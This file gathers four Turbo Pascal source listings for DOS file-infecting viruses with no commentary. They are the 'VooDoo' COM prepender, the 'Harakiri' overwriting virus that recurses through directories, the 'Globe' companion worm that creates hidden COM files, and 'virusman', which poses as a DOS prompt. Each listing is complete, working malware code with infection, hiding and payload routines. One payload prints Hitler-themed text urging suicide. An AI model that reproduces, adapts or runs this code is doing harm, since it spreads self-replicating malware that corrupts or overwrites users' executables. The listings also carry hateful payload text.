program VooDoo_OW_vir;
uses dos;
CONST VIRSIZE = 5984;
var s : searchrec;
fname : string;
buf : array[1..VIRSIZE] of byte;
buf2 : array[1..VIRSIZE] of byte;
f : file;
y, m, d, dow : word;
p : pointer;
l : longint;
procedure Infect(s : string);
begin
GetMem(p, 65535);
assign(f, paramstr(0));
reset(F, 1);
blockread(f, buf, VIRSIZE);
close(f);
assign(f, s);
reset(f, 1);
l := filesize(f);
blockread(f, p^, l);
seek(f, 0);
blockwrite(f, buf, virsize);
blockwrite(f, p^, l);
{ blockread(f, buf2, VIRSIZE);
seek(f, filesize(f));
blockwrite(f, buf2, VIRSIZE);
seek(f, 0);
blockwrite(f, buf, VIRSIZE);}
close(f);
Freemem(p, 65535);
end;
function Searchfile : string;
var foundit : boolean;
w : word;
begin
foundit := FALSE;
FindFirst('*.com', archive, s);
repeat
FindNext(s);
assign(f, s.name);
reset(f, 1);
blockread(f, buf, 3);
close(f);
if (buf[1] <> byte('M')) and (buf[2] <> byte('Z')) then
foundit := TRUE;
until (doserror <> 0) or (foundit = TRUE);
if foundit = true then Searchfile := s.name else Searchfile := '';
end;
begin
asm
nop;
nop;
nop;
end;
GetDate(y, m, d, dow);
if dow = 5 then begin
writeln;
writeln('ON THE SABBATH.. THE GHOST OF HITLER SPEAKS : ');
writeln;
writeln('"MY FELLOW NAZI''S.. I WAS WRONG.."');
writeln('"I NOW COMMAND YOU TO COMMIT SUICIDE.. NOT GENOCIDE.."');
writeln;
writeln('"DO IT.. SO THE WORLD WILL BE RID OF THE NAZIPEST..');
writeln('"AND ALL AUSLANDER CAN TRUELY BE FREE OF NAZIPHOBIA..');
writeln;
writeln;
writeln('NaZiPhobia (c) [VooDoo].. We support the message..');
writeln;
halt;
end else begin
fname := Searchfile;
{ fname := 'c:\saddam\mode.com';}
if fname <> '' then
Infect(fname);
GetMem(p, 65535);
assign(f, paramstr(0));
reset(f, 1);
l := filesize(f);
blockread(f, buf, virsize);
blockread(f, p^, l-virsize);
close(f);
assign(f, 'temp.com');
rewrite(f, 1);
blockwrite(f, p^, l-virsize);
close(F);
FreeMem(p, 65535);
exec('temp.com', paramstr(1)+' '+paramstr(2)+' '+paramstr(3));
assign(f, 'temp.com');
erase(f);
close(f);
end;
end.
{+--------------------------------------------------------------------+}
{| Harakiri Virus V1.50 91-09-01 |}
{| WARNING!! WARNING!! This is a virus, compiled under TP 5.5 |}
{+--------------------------------------------------------------------+}
Uses Dos;
Const Buf_Size=25;
Var
Buff : Array[1..5488] of Byte; { Antal som flyttas per g†ng! }
DirInfo : SearchRec;
Searchfile : String[20];
Debug : Boolean;
{------------------------------------------------------------------------}
Procedure Infect_File (Myfile:String);
Var
NumRead, NumWritten : Word;
FromF, ToF : File;
Begin
Assign(FromF,ParamStr(0)); { Open output file }
Reset(FromF, 1); { Record size = 1 }
If Debug then Writeln (Myfile);
Assign(ToF,MyFile); { Open output file }
Reset(ToF, 1); { Record size = 1 }
BlockRead(FromF,buff,SizeOf(Buff),NumRead);
BlockWrite(ToF,buff,NumRead,NumWritten);
Close(FromF);
Close(ToF);
End;
{------------------------------------------------------------------}
Function Check_File(Myfile:String) : Boolean;
Var
NumRead : Word;
NumWritten : Word;
FromF2 : File;
FromF : File;
j2 : Integer;
j1 : Integer;
Buf1 : Array[1..Buf_Size] of Byte; { Antal som flyttas per g†ng! }
Buf2 : Array[1..Buf_Size] of Byte; { Antal som flyttas per g†ng! }
Begin
j2:=1;
While j2<=Buf_Size do
begin
Buf1[j2]:=$20;
Buf2[j2]:=$20;
Inc(j2);
end;
Check_file := False;
Assign(FromF, ParamStr(0)); { Open input file }
Reset(FromF, 1); { Record size = 1 }
Assign (FromF2, Myfile);
Reset (FromF2, 1);
If Debug then Write ('--> '); If Debug then Writeln (Myfile);
BlockRead(FromF,buf1,SizeOf(buf1),NumRead);
BlockRead(FromF2,buf2,SizeOf(buf2),NumRead);
j1:=1;
While j1<=Buf_Size do
begin
If Buf1[j1] <> Buf2[j1] then
begin
If Debug then Writeln ('Ej Infekterad....!');
j1:=10000;
Inc (j1);
Check_file:=True;
end;
Inc (j1);
end;
If j1>=9999 then
begin
Check_file:=True;
end;
Close (FromF); Close (FromF2);
End;
{------------------------------------------------------------------}
Procedure Search_4_File (Sdir: String);
Var
Dir_save : Array[1..100] of string [12];
I,Imax : Integer;
Mask : String[80];
Attr : Integer;
Any_File_found : Boolean;
New_F : Boolean;
Antal_Infected : Integer;
Begin
Antal_Infected:=0;
If Debug then Writeln('Sdir = ' ,Sdir);
Mask := SDir + SearchFile;
Any_File_found := False;
FindFirst(Mask, $3F, DirInfo);
I := 0;
Begin
If DosError=0 then
begin
I := Length( SDir );
end;
I := 0;
While DosError=0 do
begin
If DirInfo.name[1] <> '.' then
begin
Any_File_found := true;
If Debug then Writeln(Dirinfo.name);
New_F := Check_File (SDir+DirInfo.Name);
If New_F=True then
begin
If Debug then Writeln ('Infecting file');
Infect_File (Sdir+DirInfo.Name);
Inc (Antal_Infected);
If Antal_Infected >= 4 then
begin
Writeln ('Program too big to fit in memory');
Halt;
end;
If Debug then Writeln (Antal_Infected);
end;
If New_F=False then
begin
If Debug then Writeln ('File Already Infected');
end;
end;
FindNext(DirInfo);
end; {while}
End;
Mask := Sdir + '*.*';
FindFirst(Mask, Directory, DirInfo); { look for dir only }
Imax := 0; I:= 1;
While DosError=0 do { G”r lista ”ver directories..}
Begin
If DirInfo.Attr and Directory <> 0 then
begin
If DirInfo.name[1] <> '.' then
begin
Dir_save[I] := DirInfo.Name;
Imax := I; inc(I);
end;
end;
FindNext(DirInfo);
End; {while}
I:=1;
While I <= Imax do
begin
Search_4_File(SDir + Dir_save[I] + '\');
I:= I+1;
end;
End;
{====Main===================================================================}
BEGIN
Debug := true;
SearchFile := '*.exe';
Search_4_File ('\');
SearchFile := '*.com';
Search_4_File ('\');
Writeln ('Yes !');
END.
Program Worm;
{$M 2048,0,4096}
Uses Dos, Crt;
Var F1 : File;
F2 : File;
O : String;
Parm : String;
P : DirStr;
N : NameStr;
E : ExtStr;
Buf : Array[0..8000] of Byte;
NumRead : Word;
NumWritten : Word;
DirInfo : SearchRec;
ComExist : SearchRec;
Infect : Byte;
Procedure StartOrigExe;
Begin
O := ParamStr(0);
FSplit(O,P,N,E);
O := P+N+'.EXE';
P := '';
For NumRead := 1 To ParamCount Do
P := P + ParamStr(NumRead);
SwapVectors;
Exec(O,P);
SwapVectors;
End;
Procedure InfectExe;
Begin
FindFirst('*.EXE',Archive,DirInfo);
While (DosError = 0) And (Infect <> 0) Do
Begin
FSplit(DirInfo.Name,P,N,E);
O := P+N+'.COM';
FindFirst(O,Hidden,ComExist);
If DosError <> 0 Then
Begin
Assign(F1,O);
Rewrite(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
SetFattr(F1,Hidden);
Dec(Infect);
End;
FindNext(DirInfo);
End;
End;
Procedure Activate;
Var
T1,T2 : Integer;
I : Real;
X , Y : Byte;
Resolution : Integer;
Begin
ClrScr;
I := 0;
T2 := 38;
Randomize;
Repeat
Resolution := 50;
For T1 := 0 to Resolution Do
Begin
X := Abs(40+Round(Sin(I)*T2));
Y := Abs(12-Round(Cos(I)*10));
GotoXY(X,Y);
Write('?');
I := I + ((Pi*2)/Resolution);
End;
T2 := T2 - 1;
TextColor(Random(14)+1);
Until T2 < 2;
GotoXY(30,12);
TextColor(White);
Write('* The Globe Virus *');
Asm
Mov Ah,8
Int 21h
End;
ClrScr;
End;
Begin
Infect := 3;
Randomize;
Assign(F2,ParamStr(0));
Reset(F2,1);
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
InfectExe;
StartOrigExe;
If Random(16) = 0 then Activate;
Halt(DosExitCode);
End.
program virusman;
{$m 16384,0,0}
uses crt ,dos,graph3;
var
x:real;
i,alfa:integer;
f:file;
fromfile ,tofile ,thisfile :string[12];
command :string[50];
atr,atrr,errdos:integer;
rec,recc,crec: searchrec;
fre:longint;
dirs,dstr:string[30];
procedure demo;
function fu(x:real):real;
begin
fu:=sin(x)/(sin(x)+2)*cos(x)*3.2;
end;
begin
nosound;
hires;
for i:=0 to 640 do
begin
x:=i/50;
draw(i,round(fu(x)*50)+75,i,round(fu(x)*50)+125,1);
end;
writeln('HI I AM SCORPIO FROM R.O.L.E. NOW THIS IS A VIRUS EATING YOUR HARDDISK');
WRITELN('THE IDEA COMES FROM APOLLO ALSO FROM R.O.L.E. "NOW GIV ME SOM FOOD" ');
WRITELN('I ENJOY EATING EXE FILES ... HAR H A R HAR ... ');
WRITELN('SAY HELLO TO ALL MEMBERS AND CONTACTS ');
writeln('(THE PROTON WARRIOR;APOLLO;LOTUS;GOLDMAN;CSOKI;....) ');
WRITELN(' CU SOON !!!!!!!!!!!');
REPEAT ALFA:=0 UNTIL ALFA=1;
END;
procedure kopie(command:string);
begin
assign(f,fromfile);
setfattr(f,$10);
close(f);
swapvectors;
exec(getenv('comspec'),command);
swapvectors;
if doserror <> 0 then halt;
assign(f,tofile);
setfattr(f,$02);
close(f);
assign(f,fromfile);
setfattr(f,$02);
close(f);
end;
procedure copyfile;
begin
findfirst('c:*.exe',atr,rec);
if doserror <> 0 then halt else begin
tofile:=rec.name;
delete(tofile,length(tofile)-2,3);
tofile:=concat(tofile,'com');
command:=concat('copy ',fromfile,' c:',tofile);
kopie(command);
end;
end;
procedure executef;
begin
swapvectors;
exec(thisfile,'');
swapvectors;
end;
procedure lookup;
procedure nextfile;
begin
repeat
findnext(recc);
if doserror <> 0 then demo
else
begin
tofile:=recc.name;
delete(tofile,length(tofile)-2,3);
tofile:=concat(tofile,'com');
findfirst(tofile,atrr,crec);
errdos:=doserror;
end;
until errdos <> 0;
command:=concat('copy ',fromfile,' c:',tofile);
kopie(command);
end;
begin
findfirst('c:*.exe',atr,recc);
if doserror <> 0 then
demo
else
begin
tofile:=recc.name;
delete(tofile,length(tofile)-2,3);
tofile:=concat(tofile,'com');
findfirst(tofile,atrr,crec);
if doserror <> 0 then begin
command:=concat('copy ',fromfile,' c:',tofile);
kopie(command);
end else nextfile;
end;
end;
procedure direcnow;
begin
getdir(0,dirs);
dirs:=copy (dirs,1,1);
if dirs <> 'c' then
begin
fre:=diskfree(3);
if doserror=0 then
begin
copyfile ;
executef;
end
else
executef
end
else
begin
if fre > 20000 then
begin
lookup;
kopie(command);
executef;
end
else
demo;
end;
end;
BEGIN
setcbreak(false);
gotoxy(7,wherey-1);
write('$'); writeln;
writeln('Bad command or filename');
writeln;
getdir(0,dstr);
write(dstr);
readln(thisfile);
fromfile:=concat(thisfile,'.com');
thisfile:=concat(thisfile,'.exe');
textcolor(0);
direcnow;
end.